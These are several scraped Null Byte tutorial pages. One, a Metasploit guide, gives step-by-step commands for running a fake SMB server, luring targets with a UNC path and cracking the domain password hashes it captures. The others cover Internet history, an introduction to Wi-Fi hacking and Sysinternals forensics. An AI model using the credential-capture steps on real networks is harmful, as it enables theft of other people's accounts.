'Turn on Wi-Fi Automatically'How To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkNews:Samsung's Latest Oreo Update Doesn't Have a KRACK FixNews:iOS 11.2 Beta 3 Released, Includes Pop-Up Alerts for Wi-Fi & Bluetooth Controls, New Control Center BarNews:Next iPhone Could Be Li-Fi Compatible, Up to 100 Times Faster Than Wi-FiHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidToy Challenge:Lego DinosaurNews:PSP2 (Next Generation Portable) or NGP
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords) « Null Byte :: WonderHowTo
Welcome back, my neophyte hackers!In previous tutorials, we learned how tosteal system tokensthat we could use to access resources, how touse hashdump to pull password hashesfrom a local system, and how tograb password hashes from a local system and crack them.In each of these cases, the password hashes were the passwords of the users on thelocalsystem and not the domain. If the system is part of a domain (which is the case in most corporations and large institutions), they will likely have their password stored on the domain controller (DC). How would we get the domain passwords without attacking the fortified domain controller?One of the more powerful features built intoMetasploitis the ability to set up a fake SMB server. This means that when someone on the network attempts to access the SMB server, their system will need to present their credentials in terms of their domain password hash. Very often, large networks have a system that systematically connects to each machine to check whether they are patched and secure. When it does so, it must present its credentials to each system and this will usually use the admin password. If we are patient, this may be the best strategy.In addition, by setting up this fake SMB server, we may be able to capture domain credentials as users attempt to authenticate against it. We could send the target an embedded UNC path, and when they click on it, we can grab their domain credentials.Unlike some of our other Metasploit attacks, this is neither anexploitor apayload. It is anauxiliary module, and is capable of capturing the hash in a format to be broken using eitherCain and AbelorJohn the Ripper.Step 1: Fire Up Kali and Start MetasploitLet's start by firing upKaliand opening one of my favorite hacking tools, Metasploit, by typing:kali > msfconsoleStep 2: Set Up the SMB ServerNow that we have Metasploit open, let's set up a fake SMB server. Unlike some of our other Metasploit attacks, this one is neither an exploit or payload, but rather an auxiliary module. We can start it by typing:msf > use auxiliary/server/capture/smbNow that we have loaded this module, let's take a look at the options we need to set to use this module.msf >show optionsAs you can see, this module has numerous options, but we can leave the default settings on each of them, with the exception of the file type to store the hashes for cracking.Notice, I have highlighted theJOHNPWFILEoption above. We also have theCAINPWFILEat the very top. These options allow us to determine the format of the file storing the hashes for cracking byCain and AbelorJohn the Ripper. In this tutorial, I'll be using the latter tool.To do so, I simply need to tell this module to "set" the JOHNPWFILE to a particular location by typing:msf > set JOHNPWFILE /root/domainhashesNow, all that is left to do is "exploit."msf > exploitWhen we type "exploit," this module will start a fake SMB server that will store the presented credentials in the/rootdirectory in files beginning with "johnhashes".Step 3: ShareNow that our SMB server is running, we need someone to attempt to login to our share. We can do this by sending a UNC link to our share, such as:net use \\192.168.1.106 nullbyteWhen they click on that link, their domain credentials will be presented to our SMB server and captured as in the screenshot below.Step 4: Crack the HashThe final step is to crack the hashes to obtain the password. We need to go to the/rootdirectory to find the saved hash files.kali > cd /rootAs you can see, there are two hashes stored here. Now to crack them, we can use John the Ripper by typing:kali > john johnhashes_netlmv2When we do so, John the Ripper loads the password hash, recognizes the type of hash, and begins cracking it.Keep coming back, my neophyte hackers, as we explore the arts and techniques of hacking. If you are new to Null Byte, make sure to go back to the other guides in thisMetasploit Basicsseries, and check out all ofthe other hacking serieswe have!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Enumerate SMB with Enum4linux & SmbclientHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:How to Save the World from Nuclear AnnihilationHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)News:8 Tips for Creating Strong, Unbreakable PasswordsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Get Root Filesystem Access via Samba Symlink TraversalNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Exploit EternalBlue on Windows Server with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Goodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter
A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to Be « Null Byte :: WonderHowTo
You walk over to your laptop, wiggle your mouse to wake up the screen, then fire up your browser to come visitNull Byte. Catching thearticle about Anonymousand how they presumablywill not take down the Internet, you find yourself wondering... howwouldsomeone take down the Internet? Could they even do it?The Internet is definitely a cool place, but a lot of people don't understand how it is all connected together. I don't mean how your laptop plugs into your router, but how entire networks like AT&T and Verizon interface with everything else to help make the seemingly effortless transfer of data possible. An understanding on the underlying design of the Internet gives you a MUCH better idea what is going on out there and how certain attacks will and will not work.But first, where did this all come from? How did we go from room-sized supercomputers to rooms filled with AOL disks to rooms filled with people during LAN parties?A Long Time Ago, In a Government Bunker Far, Far Away...Like a lot of cool technology around today, the Internet originated from DARPA, theDefense Advanced Research Projects Agencyof the United States Military, along with several universities like Standford and Rutgers—orAl Gore, depending on who you ask. Much has changed from its initial template, but its core idea ofpacket switchingremains standard.The idea that you could take data, break it up into sized blocks that could be sent across lines and wires, and then reconstruct it on the other side in real time was a breakthrough. The various agencies and schools were able to link together their supercomputers of the day, creating the first major packet switched network, named theAdvancedResearchProjectsAgencyNetwork, or just ARPANET. Initially, this new network only connected four major computers at universities in the southwestern U.S. (UCLA, Stanford Research Institute, UCSB, and the University of Utah).In fact, the image below shows what the "Internet" looked like, in its entirety, back in 1977.Contrary to popular belief, the goal was not to create a command and control network to survive a nuclear attack, but to fix a scarcity problem. There were very few computers back then, and those that did exist were large and very expensive. ARPANET allowed researchers to access them, who otherwise would not be able to.It was this act that spurred the research that allowed for the great leaps forward from that point. These early networks were lacking in modern amenities like Facebook and YouTube, but allowed the critical high-speed (for their time, anyway) transfer of data to take place.In 1974, the first use of the word "Internet" was written about inRFC 675:Specification Of Internet Transmission Control Program. This was the start ofTCP/IP. In a nutshell, the problem then was that a common set of languages was needed, so all the computers and networks could talk to each other. It would be akin to having a room full of people from across the world and asking them to play thetelephone game. It was adopted by the Defense Department in 1980, replacing the earlierNetwork Control Protocol(NCP), and universally adopted by 1983.The Raging '80sBy the 1980s, other networks had joined together with or split apart from ARPANET, as shown below.The way to look at this is... envision the entire first image from 1977 fitting into the blue boxed ARPANET in the second image. Everything expanding from it was either a new addition or smaller networks that were pulled out and made their own.MILNET was for the sharing of unclassified military information and was split off from ARPANET in 1984 to allow for more commercial use of the main network. In the 1990s, this was renamed NIPRNET and is still the U.S. Military's network for handling sensitive, but unclassified information. It is said to be the largest private network currently operating, though exact figures are classified to date. Below is a network diagram of its heyday.NSFis the National Science Foundation Network and was created back in 1981, expanding ARPANET access to help advanced research and communication among scientists. In 1986, this was expanded to an even larger audience of organizers and researchers. Remembering that supercomputers are expensive, this design was to give access to a range of people across the involved universities and data centers. It grew and grew until its networks became one of the largest backbones of the Internet.As you can clearly see, the following supercomputers were networked together and this created a permanent high-speed route that other data could also 'ride' on to reach a new destination. This is the basic idea of a backbone and one we will address in far more detail later.In 1989, another epic event took place that helped shape the Web today. Tim Berners-Lee and others at theEuropean Laboratory for Particle Physics, more popularly known as CERN, proposed a new protocol for information distribution. This protocol, which became the World Wide Web later in 1991, was based on hypertext—a system of embedding links in text to link to other text, which you have been using all day to surf the web, no doubt. Does HTML sound familiar?1990: Comin' at Ya Like El NiñoThe end of the '80s was another turning point for the Internet, as service providers likePSINetandCompuServesprung onto the scene offering communication and early data services to a wider range of people. ARPANET was eventually decommissioned in 1990, allowing commercial use of the physical networks that remained and ushering in the age of the Internet as we know it today.Since the Internet was initially funded by the government, it was originally limited to research, education, and of course, government uses. Commercial uses were prohibited unless they directly served the goals of research and education. This policy continued until the early '90s, when independent networks began to grow. It then became possible to route traffic across the country from one commercial site to another without passing through the government-funded backbones.Also, as a result of decisions made during this time, certain geographic routes and networks became more critical than others and directly influenced the direction the Internet would take in the future. The modern Internet was born.In ClosingIt's important to know the humble beginnings discussed here, as it will make understanding the big data noodle that is the 'net today, that much more easy.Do you remember anything from these days of pre-AOL ancient history? Care to share with the community? This is a topic often not talked about, but plenty of people are interested!Leave us a comment, shoot me amessage, or visit ourForum.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byManchester,NThelp,PersonalPages, Wikipedia,SoftpediaRelatedHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Clear Your Web Browsing History in a HurryHow To:Delete Browsing History, Cache and CookiesHow To:Optimize & Speed Up Web Surfing on Your Nexus 7 Tablet with This Super Easy ModThe Time Traveler's Companion:Surviving the Past and Future with Your KindleNews:BBC Earth Releases 'Micro Kingdoms: Senses' Insect Experience on Magic Leap 1How To:Do a hitchhiker trick on your BMX bikeNews:Best Halloween Costume EverHow To:Delete search history, cookies, and temp files in IEHow To:Clear Your Cache for Internet ExplorerHow To:Clear Your Cache on Any Web BrowserHow To:Clear All Caches and Free Up Disk Space in Windows 8How To:Use the Undo, History & Revert tools in PhotoshopHow To:Delete browser history & temp internet files in IEHow To:Clear your Internet history in FirefoxNews:A Brief History of HackingBrief Reality:Blippar Transforms into Shazam for CarsHow To:Clear Your Browser's Cache History and CookiesHow To:Edit or clear your Amazon browsing historyNews:An Introduction to Macro Photography (Plus Some Insane Shots)News:The HitchhikerNews:Save the Internet!News:The Antics Roadshow - Banksy's Documentary on the History of PranksNews:The History of the InternetNews:... A Few Cool FreewarezZz ...7/9- Fri Pick:Harlem / The Black Apples / Audacity @News:Polanski's Knife in the WaterNews:Mel Gibson calls GTA 4WTFoto Symbology Challenge:Help Develop the Bro Code!How To:Get the 'Iron Curtain' Achievement in Assassin's Creed: RevelationsPlaces to Stay:Japanese Internet Cafes | Photo GuideNews:Mind Your Manners!News:A Brief Summary on heart attackNews:Minecraft Custom Map - Episode 1: The Wooden RoomPrivate Browsing:A How-To for Firefox, Chrome & Internet ExplorerNews:History comes back to bite England in the (Lego) BrickNews:History of Little League BaseballNews:A little about Augmented Reality (AR)How To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Model a spline tower with history tools in Rhino 3D
How to Hack Wi-Fi: Getting Started with Terms & Technologies « Null Byte :: WonderHowTo
Welcome back, my hacker trainees!A score of my readers have been begging for tutorials onhow to hack Wi-Fi, so with this article, I'm initiatinga new seriesdedicated to Wi-Fi hacks. This will probably be around 6-9 articles, starting with the basics of the technologies.Image viaShutterstockI can hear you all groan, but you need to know the basics before you get into more advanced hacking. Then hopefully, developing your own hacks.Afterward, the following guides will cover wardriving, DOS attacks, password hacking (WEP, WPA, WPA2, WPS, and WPA-enterprise), rogue APs, evil twins, Wi-Fi MitM, and Wi-Fi snooping. Lastly, we'll examine how to hack Bluetooth (yes, I know, technically it's not Wi-Fi, but I think you'll find it interesting).So, come along for this frequent and amplified ride of Wi-Fi hacking!Step 1: TerminologyTo really understand how to hack Wi-Fi, we need to dispense with basic terms and technology. First, let's address some terminology.To begin, the access point that sends out the radio frequency (RF) signal is known as the AP. These APs are capable of sending out signals (between 2.4 and 5 Ghz) that comply with a number of different standards. These standards are known as 802.11a, 802.11b, 802.11g, and 802.11n. In the very near future, we'll see a new standard that's tentatively named 802.11ac.The table below summarizes the key features of these Wi-Fi standards.These standards are generally backwardly compatible, so that a wireless n adapter will also be able to pick up g and b signals. We will focus upon the most widely used of these standards— b, g, and n.Step 2: Security TechnologyFrom the perspective of the hacker, wireless security technologies are among the most pertinent features. Multiple security technologies have been deployed in Wi-Fi to make an inherently insecure technology secure. Our attack approach will depend upon which of these security technologies is being deployed.So, let's take a quick look at them here.WEPWEP, or wired equivalent privacy, was the first wireless security scheme employed. As it name implies, it was designed to provide security to the end-user that was essentially equivalent to the privacy that was enjoyed in a wired environment. Unfortunately, it failed miserably.For a number of reasons, WEP is extraordinarily easy to crack because of a flawed implementation of the RC4 encryption algorithm. It's not unusual to be able to crack WEP in less than 5 minutes. This is because WEP used a very small (24-bit) initialization vector (IV) that could be captured in the datastream, and this IV could then be used to discover the password using statistical techniques.Despite this, I still find it being used in household and small business implementations, but seldom in an enterprise environment.WPAWPA was the response by the industry to the revealed weaknesses of WEP. It's often referred to as WPA1 to distinguish it from WPA2.WPA used Temporal Key Integrity Protocol (TKIP) to improve the security of WEP without requiring new hardware. It still uses WEP for encryption, but it makes the statistical attacks used to crack WEP much more difficult and time-consuming.WPA2-PSKWPA2-PSK is the implementation of WPA2 for the home or small business user. As the name implies, it's the WPA2 implementation that uses a pre-shared key (PSK). It's this security standard that is used by most households today, and although it's far more secure, it's still vulnerable to various attacks.A feature that was added in 2007 called Wi-Fi Protected Setup, or WPS, allows us to bypass the security in WP2-PSK . We'll look at a few attacks on WPA2-PSK in coming weeks.WPA2-AESWPA2-AES is the enterprise implementation of WPA2. It uses the Advanced Encryption Standard or AES to encrypt data and is the most secure. It's often coupled with a RADIUS server that is dedicated for authentication.Although cracking it is possible, it significantly more difficult.Step 3: ChannelsLike our radio, wireless has multiple channels so that various communication streams don't interfere with each other. The 802.11 standard allows for channels ranging from 1 thru 14.In the U.S., the FCC regulates wireless communication and devices for use in the states are only enabled to use channels 1 thru 11. Europe uses channels 1 thru 13 and Japan 1 thru 14. Other nations may also use the full range.For the hacker, this can be useful information as a rogue AP using channel 12 thru 14 would be invisible to U.S.-made wireless devices and security professionals scanning for rogue access points.Each channel has a width of 22 Mhz around its central frequency. To avoid interference, an AP can use any of these channels, but to avoid any overlap, channels 1, 6, and 11 are most often utilized in the U.S. The other channels can be used, but because you need five channels between the working channels to not overlap signals, with three or more channels, only 1, 6, and 11 will work.Step 4: Datagrams and FramesAn understanding of the structure of wireless datagrams is critical for successful wireless hacking, but is beyond the scope of this introduction. I will introduce some of this information when necessary in future tutorials, but you may want to take some time to study wireless frames and datagrams from other sources.Step 5: Signal StrengthIn the U.S., the FCC regulates among other things, the strength of the wireless access point's signal. The FCC says that the access point's signal cannot exceed 27 dBm (500 milliwatts). Most access points have this limit built-in, but we can change and override this limitation, if the access point is capable of a stronger signal. This may be useful for the hacker in setting up evil twins and rogue access points where strength of signal is critical, among other techniques.Step 6: Aircrack-NgFor nearly all of our Wi-Fi hacking, we will be usingaircrack-ngwhich is included inBackTrack. Even in those hacks where we use other tools such cowpatty orreaver, we will use the aircrack-ng suite of tools for some part of the hack, so we need to become familiar with it.I'll probably do a dedicated tutorial on aircrack-ng suite in the very near future.Step 7: WiFi AdaptersOne of the crucial needs to becoming an effective Wi-Fi hacker is the Wi-Fi adapter. Generally, the Wi-Fi adapter on your laptop or desktop is insufficient for our purposes. The key capability we need is the ability toinjectpackets into the access point and most run-of-the-mill wireless adapters are incapable of packet injection. Aircrack-ng has alist of Wi-Fi adaptersthat can work with their suite of tools.That having been said, I highly recommend Alfa AWUS036NH USB wireless adapter. This is what I use. It's available from several locations for between $30 to $50.It does everything I need, is fast, has an external antenna, is recognized by BackTrack, and automatically loads its drivers. In addition, it come in 1000mw and 2000mw versions. That can be critical in rogue access point hacks, despite the fact that the FCC limits signal strength the 500mw.Step 8: AttennasAntennas come in two basic types, omni-directional and directional. Most APs and wireless adapters come with omni-directional antennas, meaning that they send and receive in all directions.The Alfa card that I recommend comes with an external antenna that is omni-directional, but has a gain of 5dBi (gain is a measure when applied to antennas, of how much the antenna can increase the signal). This means that it can increase the signal by focusing the signal similar to that of a reflector on a flashlight. In addition, it can change position to better receive particular signals as well as a cable and suction cup adapter for mounting on a wall or window.Directional antennas can also be useful for hacking when attempting to focus your exploits to a remote access point. The literature contains references to Wi-Fi signals that have been sent and received over 100 miles or about 160km using directional antennas. For most commercial directional antennas, you can expect to be able to pick up wireless communication up to 4km or 2.4 miles.These can be obtained from a variety of sources usually for under $100 with a gain of between 15dBi and 20dBi. A Yagi antenna is an example of a directional antenna that is often used in hacking wireless over significant distances.That's It... For NowSo, this begins our exciting journey into Wi-Fi hacking. Very soon, you will be able to hack nearly anyone's wireless internet, sokeep coming backto expand your knowledge and skills in Wi-Fi hacking.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Hack Wi-Fi Networks with BettercapHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Back Up & Restore Your iPhone Without iTunesWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetNews:iOS 11.2 Beta 3 Released, Includes Pop-Up Alerts for Wi-Fi & Bluetooth Controls, New Control Center BarHow To:What All the Bluetooth & Wi-Fi Symbols Mean in iOS 11's New Control Center (Blue, Gray, or Crossed Out)How To:Share Your Wi-Fi Password with a QR Code in Android 10How To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Share Any Password from Your iPhone to Other Apple DevicesHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToNews:MIT Tech Protects Your WiFi Without PasswordsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Watch American Netflix from Other Regions on Your iOS DeviceHow To:9 Tips for Maximizing Your Laptop's Battery LifeHow To:Get Free Wi-Fi from Hotels & MoreNews:PSP2 (Next Generation Portable) or NGP
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!In many of my earlier tutorials, I mentioned the complementary nature of hacking and forensics. Both disciplines, hacking andforensics, benefit from a knowledge of the other. In many cases, both disciplines will use the same tool. In this tutorial, we will use another tool that can be used in either discipline—Sysinternals—a suite of tools developed by Mark Russinovich.These tools proved so effective that Microsoft purchased them in 1996 and continues toprovide themfree of charge. Originally, they were all command line tools, but since Microsoft purchased them they have put some pretty GUIs on many of the tools.These are some of the best tools for in-depth analysis of a system. They can be excellent for doing onsite forensics of a live system or incident response analysis of a system you suspect has been hacked. For the hacker who can get physical access to a system or upload these tools to a system, it can provide invaluable information on the potential target.Windows Sysinternals is particularly useful when we suspect a system has been hacked and we are trying to understand what processes the malware is using and how it is operating.Step 1: Install SysinternalsAs I mentioned earlier, Microsoft provides Windows Sysinternals for free, and you candownload it here. Once you have install it, you can look in the SysinternalsSuite folder and see the numerous tools available. Here is a list of the tools (in alphabetical order) and their function.AccessChk- Lets you see what type of access users and groups have to files, directories, registry keys, etc.AccessEnum- Full view of your file system and registry security settings.AdExplorer- Active Directory viewer and editor.AdInsight- LDAP real-time monitoring tool used to troubleshoot Active Directory applications.AdRestore- Ability to restore deleted Active Directory objects.Autologon- Easily configure autologon mechanism.Autoruns- Displays programs that are configured to run at startup.BgInfo- Displays relevant information about the computer on the desktop, such as computer name, IP address, etc.CacheSet- An applet to manipulate the working-set parameters of the system file cache.ClockRes- Shows the resolution of the system clock.Contig- Defragments a specified file or files.Coreinfo- Shows you the mapping between logical processors and the physical processor.Ctrl2Cap- Kernel-mode device driver that filters the system's keyboard class driver.DebugView- Monitors debug output on your local system.Desktops- Allows you to organize up to four virtual desktops.Disk2vhd- Creates VHD (virtual hard disk) versions of physical disks.DiskExt- Returns information about what disks the partition of a volume is located on.DiskMon- Logs and displays all hard disk activity.DiskView- A graphical map of your hard drive.DiskUsage (DU)- Reports the disk space usage for a specified directory.EFSDump- Allows you to see who has access to encrypted files.FindLinks- Reports the file index and hard links that exist for a specified file.Handle- Displays information about open handles for any process.Hex2dec- Converts hex to decimal and vice versa.Junction- Creates junctions (symbolic links that combine directories from multiple locations).LDMDump- Let's you examine exactly what is stored in a disks copy of the system.ListDLLs- Reports the DLLs that are loaded into processes.LiveKd- Allows you to run the Kd and Windbg kernel debuggers.LoadOrder- Shows the order in which the system loads device drivers.LogonSessions- Lists currently active logon sessions.MoveFile- Dumps the content of the pending rename/delete value.NTFSInfo- Shows you information about NTFS volumes.PageDefrag- Shows you have fragmented your paging files and registry hives are.PendMoves- Dumps the content of the pending rename/delete value.PipeList- Lists the pipes.PortMon- Monitors and displays all serial and parallel port activity.ProcDump- Monitors CPU spikes.Process Explorer- Shows information about which handles and DLL processes are loaded.Process Monitor- Shows real-time file system, registry, and process/thread activity.PsExec- Allows you to execute processes on remote systems.PsGetSid- Allows you to translate SIDs to their display name and vice versa.PsInfo- Gathers key information about the local or remote system including kernel build and the amount of memory.PsPing- Implements ping functionality.PsKill- Can kill processes on local and remote systems.PsList- Displays information about processes, memory, and threads.PsLoggedOn- This shows who is using what resources on a local or remote machine.PsLogList- Allows you to login to remote systems in situations where security credentials do not permit it.PsPasswd- Allows you to change an account password on local or remote systems.PsService- A service viewer and controller for Windows.PsShutdown- Allows you to logoff the console user or lock the console among other things.PsSuspend- Allows you to suspend processes on the local or a remote system.RAMMap- A physical memory usage analysis tool to see how Windows is assigning physical memory.RegDelNull- Allows you to search for and delete registry keys.Registry Usage (RU)- Reports the registry space usage.RegJump- OpensRegeditdirectly to a specified registry path.RootkitRevealer- Detects rootkits.SDelete- Allows you to delete one or more files/directories or to cleanse the free space on a drive.ShareEnum- Allows you to lock down file shares.ShellRunas- Allows you to launch programs under different accounts.SigCheck- Shows file version number, timestamp, and digital signature details.Streams- Allows you to see which NTFS files have alternate streams associated with them.Strings- Searches files for a specified string.Sync- Allows you to flush all file system data to disk.TCPView- Shows detailed listings of all TCP and UDP endpoints on your system.VMMap- A process virtual and physical memory analysis tool.VolumeID- Allows you to change the IDs of FAT and NTFS disks.WhoIs- Performs a registration record for the specified domain name or IP address.WinObj- Displays information of the NT Object Manager's name space.ZoomIt- A screen zoom and annotation tool for technical presentations.As you can see from this list, there are some very powerful tools in this suite. Let's examine one of the most useful tools in this toolkit, Process Explorer.Step 2: Open Process ExplorerIn terms of digital forensics, Process Explorer can be one of the most useful Sysinternals tools. Simply click on the procexp icon in the SysinternalsSuite folder to get started.Process Explorer lists each and every process and its child processes, its CPU use, private bytes, working set, PID, description, and company. If we suspect a malware infection, we can often find evidence of it in the Process Explorer as you can see below.Step 3: Use Process Monitor to Examine a ProcessLet's examine one process a bit closer. About two-thirds of the way down the following screenshot, you will see the Flash plug-in process which I suspect has been compromised.If you have read my other articles here on Null Byte, you know that I thinkAdobe Flash Playeris probably the worst application for security—and the best application for us hackers. Almost daily, new vulnerabilities and exploits are found in Flash Player.Let's double-click on it and open its properties. As you can see in the screenshot below, this window reveals numerous properties of the selected process.Now, we can click on Permissions to see who has permissions of this process. Notice in the screenshot below that besides System and the user (which I have obscured), an Unknown Account has permissions to use this process. Very suspicious! This would seem to warrant further investigation.Step 4: Check StringsAmong the many bits of information we can glean from the process, we can extract any ASCII strings embedded in this process. Often, we can find key information about the process including any comments the developers left. Remember that when the FBI released the evidence against North Korea in theSony hacking case, they cited comments within the malware code. This is one way they can extract those "strings."While in the properties window of Flash, we can simply click on the Strings tab to see any ASCII text within the process.The Sysinternals suite of tools can be a very powerful for examining the inner workings of a Windows system and its processes. It's worth investing the time of any digital forensic investigator, hacker, or system administrator in understanding these extraordinarily useful tools. In future tutorials, we will work some of the other Sysinternals tools, so keep coming back, my aspiring hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseOriginal cover image viaShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)News:Why YOU Should Study Digital ForensicsHow To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)SPLOIT:Forensics with Metasploit ~ 